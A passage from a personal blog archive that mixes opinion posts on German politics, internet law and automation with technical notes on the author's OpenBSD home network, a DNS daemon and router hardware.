Freifunk that's encrypted noone cares. But it makes you feel safer, if you
do that, so it's good. I often get the feeling people think that we're out
to rip people off which is not the case. We want to blanket Germany with
wifi and run an alternative to what "the others" are selling, and give it
away for free.
I'm majorly peed off that these laws are creating uncertainty and fear, when
it's perfectly legal. I want to provide some links for you:
You are probably reading this from another country and probably don't know
what "fuss" is. Fuss is when you have to beg with society over and over to
bring about something that everyone needs. You probably never heard of this
and if you didn't then you're most likely free'er than us. We need freedoms!
Das Internet darf kein rechtsfreier Raum sein
June 30th, 2017
"The Internet shall not be a lawless space" is the translation of that.
This statement made by german politicians over and over, has a double meaning
and can be interpreted in many ways. Let's look at who are the true masters
of the Internet. It's nerds. It's programmers who spend countless hours
programming to make some protocol work. And not just that but these programmers
return to their own work to make a Request For Comment or other documentation
for others to implement their ideas.
Into the picture comes the politician
and the lawyer, and the soldier and the cop. These guys historically held
power in societies and find themselves in a power-vacuum on the "Internet".
In fact these people don't know very much other than pulling a trigger or
confusing the general public with extravagant words that usually have double
meanings and are easily confused. They for the lawyer and politician part
are tricksters. Now these people want control of "EVERYTHING" including
the 'net. But they are lazy to learn for themselves, something that the
common nerd is good at, so they make laws to inhibit the nerds. This is what
it's all about. It's a trick. To spoil something that nerds worked hard at.
My message to the tricksters. You're trying to unseat gods who created
everything. Do you think you can maintain everything once you have unseated
the gods? You don't know, but you're doing it. And if it fails we'll just
go back to the times when there was no Internet. You'll outlaw it, isn't
that the ultimate revenge for your own ignorance of not understanding
something that is way more important than you'll ever be? It's happened
everywhere and it'll continue to happen. Censorship and suppression.
I don't need to study law to be a great programmer. You want to put me inside
a box and say "you can't do that, you can't do this" by applying synthetic
laws on a programmer. Programmers don't work that way, when they feel
inhibited they lose interest real quick and go on to the next thing that may
give them more playing field. We're not in-the-box type people. We may
start off in the box, but eventually when we master something we can eliminate
these thresholds easily.
What we really need is freedom. And it has dawned on all the powerholders that
if they take away your freedom with law, they can control you. But they are
working off a set of programs that some geek designed for them who they then
canned. So their protocols are outdated, and won't work in new domains. If
you put law to technology, we lose the race against nature. You'll royally
screw yourself if you do that. So to sum up.. the politicians and lawyers
want laws so they stay in power, at the same time the cops and soldiers want
to be above the law to stay in power, and the nerds are just feeling the
pressure and rolling their eyes in disgust.
Who I'm voting for in 2017
July 3rd, 2017
Germany has an election this year. Democracy at it's finest. I'm voting for
"Die Linke" and I'll tell you why. The CDU/CSU has no pledges, meaning you can
vote for them but you don't know what you're voting for. Also under Merkel
that party has seen to the rich getting richer and the poor losing money. The
other party, the SPD, is not extreme enough for me. They are somewhat on the
right track, but since they are in a coalition government with the CDU/CSU this
term we haven't really benefited from them. Then there is the green party.
These guys have become switch hitters with the so-called jamaica coalition.
It's called jamaica coalition because of the party colours black, yellow and
green, which is a coalition between CDU, FDP and greens respectively. I do
like them, but not enough. The other parties in my view are not worth
mentioning.
What draws me to "Die Linke"? It's not so much the personalities of the
politicians but rather their mandate. They are for radical changes in minimum
wage for example. Meaning the poor would be getting more. And then they also
want to tax the rich heavier, which means the money that the poor get would be
coming from the rich. Also I want to keep the option open for a Red-Red-Green
coalition. With my vote I'm putting pressure on the SPD to accept a coalition
with "Die Linke" if they want to rule, if they don't want to rule no loss.
Unfortunately I'm part of the reason that the rich get richer. Because I've
been working for underpaid wages for the last 7 years while my ex-boss got
rich by selling his investment to a larger company. This is exactly how the
rich get richer, they do start-up's and pretend there is no money, then they
sell for millions and you won't hear from them for a decade or so. I'm actually
not getting much of a pension (perhaps 50 EUR a month) which means I'll be
in poverty at old age, which means now is the time to work toward the sane goal
of a basic income, which makes sense becuase all the money that the rich have
made is re-invested into robotics to keep human labour low, and they get even
richer. I'm very sorry to know this.
My new Network Map 2017
July 4th, 2017
Yesterday I was laying new cabling and pulled out some old cabling, this is
what my network looks like now:
I wrote a donation for F3 Netze for 25 EUR.
On Friday I'm bringing the transfer to the bank. Unfortunately F3 Netze hasn't
opened a Paypal account yet, but I was going to the bank anyhow.
I also pledged 44 EUR to someone else in the Freifunk Organization for a yearly
discount on a server. He has to check his finances first though. Slowly the
freifunk hobby is starting to cost money, which is great, but I have to watch
it not to spend too much on this hobby. I'm gonna write up a budget soon.
If anyone of freifunk-schweinfurt is reading this, I have also pledged money to
you so make means available that I can help you (paypal, bank account #'s, etc).
Nuclear Powerstations should not be on the Net
July 8th, 2017
I'm gonna say it again. Get off the 'net, you have no business there and it's
too risky. Same goes for nuclear bombs. They should not be on the Internet.
You don't even have to think this through... hackers are everywhere, nothing is
safe.
Google, Apple and co, how does that work?
July 9th, 2017
As you know these two named companies habe been backtaxed by the EU with a lot
of money for evading taxes. Apple itself has 200+ billion in cash and wouldn't
really need to care if they have to pay 13 billion EUR in backtaxes. However
these companies will continue their tricks and the EU will continue to say
that they broke laws. So what to do? What's gonna happen? For one the EU
has no real competitor against these companies that offer similar products and
services. And if the EU tax tolls become too heavy Google and Apple may decide
not to pay up. What will happen then?
Let's look to times when Google had
problems with China. What they did was move to Hong Kong and out of China and
made use of the dual law system in Hong Kong. Could they do the same here in
europe? What if they made use of Brexit and invested heavily into Britain
and made european users use the british installation. At that point they would
be out of jurisdiction from EU governments and if they cozy up to the British
government it could be worthwhile.
I think it would be worthwhile for the EU to build its own google-like system
much like airbus was made in response to boeing for airplanes and space systems.
Just how is it gonna be flourishing with all these laws? Time will tell.
Purchased two books from Amazon
July 9th, 2017
I have purchased two books:
The Linux Programming Interface: A Linux and UNIX System Programming Handbook - Michael Kerrisk, this one was on recommendation by Habbie in #dns
Ansible: From Beginner to Pro - Michael Heap
Thank to all who helped!
When you're at a crossroad
July 10th, 2017
Then take a picture.
Food for the human people!
July 10th, 2017
MMMMMMH!
On Friday the UNIX timestamp turns 1500000000
July 10th, 2017
Here is the exact time and some significant others.
beta$ date -r 1500000000
Fri Jul 14 04:40:00 CEST 2017
beta$ date -r 1400000000
Tue May 13 18:53:20 CEST 2014
beta$ date -r 1000000000
Sun Sep 9 03:46:40 CEST 2001
Here are some others in the future:
beta$ date -r 2000000000
Wed May 18 05:33:20 CEST 2033
beta$ date -r 1600000000
Sun Sep 13 14:26:40 CEST 2020
For those that don't know the timestamp is seconds since January 1st 1970.
Delphinusdnsd is pledged
July 11th, 2017
I just put the code in. I had to disable the TTL code that shows how many
hops a requester went through for the query to my daemon. This is because
pledge doesn't know about pledging IPPROTO_IP setsockopts yet, it seems.
All is good the new code is in production on chi.goldflipper.de for the
zone delphinusdns.org. Yay!
New surveillance powers in the Netherlands
July 12th, 2017
This webserver is located in the Netherlands. A new bill gives the dutch
security
services rights to spy on every traffic. Since I'm currently not
encrypting my webserver this means little privacy for my readers. However
the powers won't be in effect until Jan. 1st, 2018, so there is some time
to prepare. In the worst case scenario I'll just leave this VPS. Sorry.
Hamburg G20
July 13th, 2017
It is the federal government who invited the G20 to Hamburg. Hamburg is a
host to conferences but the damage done was envisionable pre-conference.
So it should be the federal government who pays up for damages done. A lot
of looting, shooting and burning happened there, but I don't blame Hamburg
I blame the federal government.
Putting the car on ice
July 16th, 2017
I'm getting second thoughts about getting a car in August. I'll hold off for
now while I'm not sure what to do. Partially I'm scared of driving again.
America, you're more than great...
July 17th, 2017
When I grew up, I immersed myself around American culture. Hip-Hop. It was
the thing and as a youth living in Canada it was thrilling. However I'm a
little stunned why America is seemingly falling. Is it that entertainment
has corrupted the driving force behind Americas momentum? I personally had
a second chance in life, not many people have that, but it is maybe worth
exploring the "be all you can be" and I don't mean joining the army but
striving for personal best.
You don't have to be rich, you don't have to be
the smartest, but when you're trying to stay away from intoxicants, trying
for realisable goals then trying is worth the effort. Eventually people have to
figure out that doing X is not going to raise them, it may be a wrong way to
seek personal freedom. Wow, now that I started this article I realise how
hard it is to write. I'm not going to tell you to seek god, or stay away from
drugs. You know the answer deep down in your heart anyhow. But seek yourself.
I could tell you all the things that are wrong
with American society, but what can I tell you about what's great? There is
a lot. Hip Hop music is great, but you had to find the great moments. Hip
Hop often prepared people not to be sarcastic on their surroundings but to
cope with difficult times. Seek your strength, you have it.
I can't tell you any hip hop artists to listen to, I personally get a lot of
strength from 2pac remakes these days, but I'm going to leave you with one
of my favourite statements that I want to pass to people looking for a way...
"You gotta go in, to get out".
I guess what that means is seek your soul, and once you've found it escape the
situation that's making you uncomfortable. It's within you, and not to be
found in the stars. Once you know yourself the stars aren't so distant, you
know.
Brainstorm why aliens haven't been found yet
July 18th, 2017
As the number one reason I think aliens haven't been found yet is because
they are in the process of conquest and don't go looking for us until they are
ready to take us in.
We're not really a wise species, we're quick to draw conclusions, we are
conflict species, we like war and destruction.. all the reason to stay away
from us
Either aliens are superior to us, at which point they grant us freedom, or
they are inferior to us at which point they are in hiding from us.
Perhaps radio signals is not the right way to communicate, it bears dangers
Then there may also be a reason that we don't need aliens in our leaders views.
We're so corrupt in our own resources that we don't want others to come along.
This is a human trait. Maybe it's more about us than it is about them.
Provided a patch to OpenBSD ifconfig(8)
July 19th, 2017
After a lot of monkeying around on my router venus which had its pflow
interface crippled by the config, I produced this patch:
basically we're not trying to resolve the flowsrc or flowdst, so I added a flag
to the resolver to treat this as a raw IP or IPv6.
Difficulties in recruiting ICT specialists reported in the EU
July 19th, 2017
In this document eurostat shows
that 41% of enterprises reported vacancies. Those positions can be filled, if
these enterprises made in-roads and changed their systems, is my idea on this.
Ie. a business traditionally hiring Windows specialists should know that there
is a large Linux following that exists and if they changed their systems to
incorporate Linux programs they would have better chances at filling the
vacancy. This is just my observation. Here in Schweinfurt there is 100 jobs
vacant. It's always been 100 jobs, for as long as I looked. Half of those
are probably fake-jobs, the other half are often specialised jobs around
Windows. I know my own frustration at finding the right job there. Recently
I applied to a Linux job. I'm keeping my fingers crossed.
Purchased a used Ubiquiti Edgerouter
July 22th, 2017
I purchased a used Edgerouter from someone on IRC. Before I made the deal
I asked on the openbsd-misc mailing list and it seems I got people on a good
day:
The Edgerouter ER-8 is supported, thank goodness. Apparently the ER-8 costs
289 EUR new and I got it for 180 EUR. Hopefully it's in good condition.
Newly planned network at home
July 23th, 2017
With zeta my new OpenBSD firewall that I'll probably get by wednesday I have
simplified my network a little. From the start zeta will use 7 ports which is
amazing. Here is what area52 which is what I call my apartment will look like:
I'm doing a lot more cabling and vlan'ing instead of vxlan'ing which is routed.
With that I'm hoping to gain back stability and robustness.
Puzzled by the Ross 128 story
July 23th, 2017
In this
article at soylentnews the scientists at arecibo are blaming geostationary
satellites for the Ross 128 signals. However I'm puzzled by this. For one
the dish at Arecibo is not very movable, in fact its 100% immovable and the
science done on it is pretty much outbound 90 degrees from the flat earth.
Sure they can perhaps move the receiver by 5% or so...
This means that the geostationary satellites are always in view of the
arecibo dish, and if that's the case they surely must have detected the
geostationary satellites earlier. Why is this even news then? I think
something fishy may be going on. It smells like a cover-up.
Dmesg from zeta.centroid.eu
July 27th, 2017
Zeta is my new firewall/router at home. It's slower than the APU1 that I
had in its place before but it gave a lot more ports (+5) so I'M very happy
about that. Also it's a MIPS64 which should keep the footprint of crackers
lower that would be able to break into this host which is a plus.
Copyright (c) 1982, 1986, 1989, 1991, 1993
The Regents of the University of California. All rights reserved.
Copyright (c) 1995-2017 OpenBSD. All rights reserved. https://www.OpenBSD.org
OpenBSD 6.1-current (GENERIC.MP) #0: Sat Jul 22 21:28:07 UTC 2017
visa@octeon:/usr/src/sys/arch/octeon/compile/GENERIC.MP
real mem = 2147483648 (2048MB)
avail mem = 2113355776 (2015MB)
mainbus0 at root
cpu0 at mainbus0: CN61xx CPU rev 0.1 800 MHz, Software FP emulation
cpu0: cache L1-I 512KB D 8KB 64 way, L2 1024KB 8 way
cpu1 at mainbus0: CN61xx CPU rev 0.1 800 MHz, Software FP emulation
cpu1: cache L1-I 512KB D 8KB 64 way, L2 1024KB 8 way
clock0 at mainbus0: int 5
iobus0 at mainbus0
simplebus0 at iobus0: "soc"
octciu0 at simplebus0
cn30xxsmi0 at simplebus0
cn30xxsmi1 at simplebus0
com0 at simplebus0: ns16550a, 64 byte fifo
com0: console
com1 at simplebus0: ns16550a, 64 byte fifo
octmmc0 at simplebus0
sdmmc0 at octmmc0: 8-bit, mmc high-speed
octuctl0 at iobus0 base 0x118006f000000 irq 56
ehci0 at octuctl0
usb0 at ehci0: USB revision 2.0
uhub0 at usb0 configuration 1 interface 0 "Octeon EHCI root hub" rev 2.00/1.00 addr 1
ohci0 at octuctl0, version 1.0
usb1 at ohci0: USB revision 1.0
uhub1 at usb1 configuration 1 interface 0 "Octeon OHCI root hub" rev 1.00/1.00 addr 1
octrng0 at iobus0 base 0x1400000000000 irq 0
cn30xxgmx0 at iobus0 base 0x1180008000000
cnmac0 at cn30xxgmx0: SGMII, address 24:a4:3c:06:9f:12
ukphy0 at cnmac0 phy 4: Generic IEEE 802.3u media interface, rev. 3: OUI 0x180361, model 0x0004
cnmac1 at cn30xxgmx0: SGMII, address 24:a4:3c:06:9f:13
ukphy1 at cnmac1 phy 5: Generic IEEE 802.3u media interface, rev. 3: OUI 0x180361, model 0x0004
cnmac2 at cn30xxgmx0: SGMII, address 24:a4:3c:06:9f:14
ukphy2 at cnmac2 phy 6: Generic IEEE 802.3u media interface, rev. 3: OUI 0x180361, model 0x0004
cnmac3 at cn30xxgmx0: SGMII, address 24:a4:3c:06:9f:15
ukphy3 at cnmac3 phy 7: Generic IEEE 802.3u media interface, rev. 3: OUI 0x180361, model 0x0004
cn30xxgmx1 at iobus0 base 0x1180010000000
cnmac4 at cn30xxgmx1: SGMII, address 24:a4:3c:06:9f:16
ukphy4 at cnmac4 phy 0: Generic IEEE 802.3u media interface, rev. 3: OUI 0x180361, model 0x0004
cnmac5 at cn30xxgmx1: SGMII, address 24:a4:3c:06:9f:17
ukphy5 at cnmac5 phy 1: Generic IEEE 802.3u media interface, rev. 3: OUI 0x180361, model 0x0004
cnmac6 at cn30xxgmx1: SGMII, address 24:a4:3c:06:9f:18
ukphy6 at cnmac6 phy 2: Generic IEEE 802.3u media interface, rev. 3: OUI 0x180361, model 0x0004
cnmac7 at cn30xxgmx1: SGMII, address 24:a4:3c:06:9f:19
ukphy7 at cnmac7 phy 3: Generic IEEE 802.3u media interface, rev. 3: OUI 0x180361, model 0x0004
/dev/ksyms: Symbol table not valid.
umass0 at uhub0 port 1 configuration 1 interface 0 "SanDisk Ultra USB 3.0" rev 2.10/1.00 addr 2
umass0: using SCSI over Bulk-Only
scsibus0 at umass0: 2 targets, initiator 0
sd0 at scsibus0 targ 1 lun 0: SCSI4 0/direct removable \
serial.07815591241023103380
sd0: 118464MB, 512 bytes/sector, 242614272 sectors
scsibus1 at sdmmc0: 2 targets, initiator 0
sd1 at scsibus1 targ 1 lun 0: SCSI2 0/direct removable
sd1: 3776MB, 512 bytes/sector, 7733248 sectors
vscsi0 at root
scsibus2 at vscsi0: 256 targets
softraid0 at root
scsibus3 at softraid0: 256 targets
boot device: sd0
root on sd0a (08e1253cf19e0676.a) swap on sd0b dump on sd0b
WARNING: No TOD clock, believing file system.
WARNING: CHECK AND RESET THE DATE!
cpu1 launched
I have given it a 128 GB USB stick as its disk even though the internal flash
card is detected as sd1. The people involved in this architecture are super!
They really should be congratulated to make this architecture happen. I did
have some problems with threaded programs on this firewall but I moved those to
my amd64 router venus (the program was BIND 9.10.5)... Here is the listing of
ports, I have utilized all eight:
cnmac0: flags=8843 mtu 1500
lladdr 24:a4:3c:06:9f:12
description: eth4 - FritzBox LTE
index 1 priority 0 llprio 3
media: Ethernet autoselect (100baseTX full-duplex)
status: active
inet 192.168.78.1 netmask 0xffffff00 broadcast 192.168.78.255
cnmac1: flags=8843 mtu 1526
lladdr 24:a4:3c:06:9f:13
description: eth5 - Telekom VDSL
index 2 priority 0 llprio 3
media: Ethernet autoselect (1000baseT full-duplex)
status: active
inet 192.168.16.1 netmask 0xffffff00 broadcast 192.168.16.255
cnmac2: flags=8b43 mtu 1500
lladdr 24:a4:3c:06:9f:14
description: eth6 - mercury
index 3 priority 0 llprio 3
media: Ethernet autoselect (1000baseT full-duplex)
status: active
inet 192.168.70.1 netmask 0xffffff00 broadcast 192.168.70.255
inet6 fe80::26a4:3cff:fe06:9f14%cnmac2 prefixlen 64 scopeid 0x3
inet6 2001:db8::121 prefixlen 64
cnmac3: flags=8b43 mtu 1500
lladdr 24:a4:3c:06:9f:15
description: eth7 - venus
index 4 priority 0 llprio 3
media: Ethernet autoselect (1000baseT full-duplex)
status: active
inet 192.168.42.1 netmask 0xffffff00 broadcast 192.168.42.255
cnmac4: flags=8843 mtu 1500
lladdr 24:a4:3c:06:9f:16
description: eth0 - Access Point to uranus
index 5 priority 0 llprio 3
media: Ethernet autoselect (1000baseT full-duplex)
status: active
inet 192.168.179.1 netmask 0xffffff00 broadcast 192.168.179.255
inet6 fe80::26a4:3cff:fe06:9f16%cnmac4 prefixlen 64 scopeid 0x5
inet6 2001:db8:0:10::111 prefixlen 64
cnmac5: flags=8843 mtu 1500
lladdr 24:a4:3c:06:9f:17
description: eth1 - AREA52U uplink
index 6 priority 0 llprio 3
media: Ethernet autoselect (100baseTX full-duplex)
status: active
inet 192.168.43.1 netmask 0xffffff00 broadcast 192.168.43.255
cnmac6: flags=8b43 rdomain 2 mtu 1500
lladdr 24:a4:3c:06:9f:18
description: eth2 - AREA52U host from bridge
index 7 priority 0 llprio 3
media: Ethernet autoselect (1000baseT full-duplex)
status: active
cnmac7: flags=8b43 rdomain 3 mtu 1500
lladdr 24:a4:3c:06:9f:19
description: eth3 - AREA52U B.A.T.M.A.N.
index 8 priority 0 llprio 3
media: Ethernet autoselect (1000baseT full-duplex)
status: active
Notice the order between cnmac0 and eth0 differ, hence I have labeled the ports.
There also exists some vlan's and bridges that I bridge batman and other stuff
together and pass it on to venus or mercury. Cheers!
Most rich people don't get rich in a vacuum. They employ people to make their
money. Well all that is gonna change with artificial intelligence and robots.
There might be 10% employees of what they used to employ, in the near future.
The rest will be laid off. Those 10% will be high technologists who work on
fixing the robots and computer systems. The hard work will be conducted by
robots.
When people are ready to leave earth it will likely be the rich. They'll
settle on the moon, they'll settle mars and they'll mine the asteroid belt,
with you guessed it, robots. So nothing has changed except that living on
mars makes you instantly poor unless you have high technology to help you
get the resources that a human being needs.
What's going to happen to the poor people on earth? We'll be living in
ghettos most likely, bunched together in big cities like sardines with
promises of being picked in a lottery to go to space. We'll be monitored
24/7 in our 80 square meter apartments and medicated when there is the
slightest hint of depression. When people get drift that the rich are
using all the resources to get off this planet and leaving us behind
there'll be chaos.
We have to think about whether this is the future we want. Because this is
what's happening. We are the people farms. What is a worthwhile pasttime
when AI outsmarts us? What is a worthwhile profession when robots outdo us?
Do you think we'll all end up playing tennis and bone each other 24/7? Get.
Real. I'm majorly pissed off really, not because I don't get to go to the
moon, no, because there is no meaningful work that I can persue that isn't
already done by a machine.
A 2 class system will erupt, us and them and it's all lies and trickery. The
movies 2001 Space Oddisey and Terminator are not warnings signs, we've already
passed them. They are here.
I tip my hat to SHA2017
August 06th, 2017
This morning a hacker scanned my delphinusdnsd server from SHA2017, why?
Aug 6 05:06:45 chi delphinusdnsd[38628]: on descriptor 11 interface \
"78.47.14.22" header from 151.216.93.11 has no question, drop
Aug 6 05:06:45 chi delphinusdnsd[38628]: question on descriptor 11 \
interface "78.47.14.22" from 151.216.93.11, did not have question of 1 \
replying format error
Sorry about the incomplete log. I don't have much traffic so I watch the log.
The IP in question is dns for the sha2017.camp. domain.
;; QUESTION SECTION:
;11.93.216.151.in-addr.arpa. IN PTR
;; AUTHORITY SECTION:
93.216.151.in-addr.arpa. 600 IN SOA ns1.sha2017.camp. \
root.sha2017.camp. 2016121900 10800 3600 604800 3600
Just to let hackers know. I'm not rich. I don't have connections. So you're
not exactly a Robin Hood if you're hacking me. SHA2017 conference's home
page is found here.
SOHCAHTOA.bc
August 7th, 2017
I have made a helper define, with the help of #openbsd on efnet, on SOHCAHTOA
functions. In order to solve this problem, I use the following defines with bc:
As some of you may know I'm the author of the Wildcard DNS server. I read
the
following words from Nominum:
"Open Source DNS a Recipe for Problems".
And I have to disagree to this somewhat. But when looking at my own meagre
DNS server, there is a few areas of concern. First, my server wasn't meant
to be put on the Internet when I first wrote it close to four years ago, but
it's functionality allowed it to be run as an authoritative nameserver.
I have been serving the centroid.eu zone with it and continually studying
the logs of it and I'm happy to report that my server was never killed from
remote, I never had to restart the server. I'm surprised that it works out
to be fairly stable.
In this picture I believe you see DJ Wigs who does a drum-bass and jungle show.
All in all the people who make SVPradio happen are great and the shows are
always interesting. We always wanted to have SVPradio since our teenager years
and the name "SVP" was picked back then as well. What it stands for I'll leave
to your imagination as we don't want to reveal that yet. One fitting acronym
is "Stratford's very pretty". I'm looking forward to the next 20 weeks and
perhaps our listener volume will increase too.
This particular billboard is found in Kansas City, USA.
Free Bradley Manning!
Here is a picture I took of a blackbird in Schweinfurt a few years ago during
winter feeding on my parents porch. They were cheerful birds always singing
very loud and getting on someones nerve while I was programming. But now
that it's all silent, I kinda miss the dang things. May you have better
fares in the place you are now!
I know Buju Banton is a resistor! Hang in there sir! Free Buju Banton!
Today marks the one year anniversary of
SVPRadio, Stratford, Ontario's
underground radio station. It streams from 6PM to 12 Midnight every
wednesdays to people who can receive online radio. I have been given
some inside photos of the studio and people involved.
Hello Autumn!
Today OpenBSD 5.2 gets released. Because it is headquartered in Canada the
announce may come a bit later as here in Europe we're a few hours ahead of them.
Here is the release page, it has
all information that you need to download or order OpenBSD 5.2. I personally
have used and bought OpenBSD since the 2.5/2.6 days where my personal OpenBSD
workstation was called geeklab.globalserve.net in 1997. Today OpenBSD is much
more secure than it was back then which is good since OpenBSD focuses on
security (but not just! but also functionality and openness). Why is it
important to be secure, yet functional? Well when you're faced with securing
something often you disable the service completely which is the opposite of
functional. In OpenBSD services are secured by a multitude of attack prevention mechanisms. You may want to look at strlcpy/strlcat which was among the first
changes that OpenBSD did. And then there is W^X (W xor X) and ottomalloc which
are supposed to prevent stack and heap overflow attacks. Before I bore you,
I'll just say "It's celebration day!" and leave you with that. Finally congrats
to the OpenBSD'ers who made it all happen.
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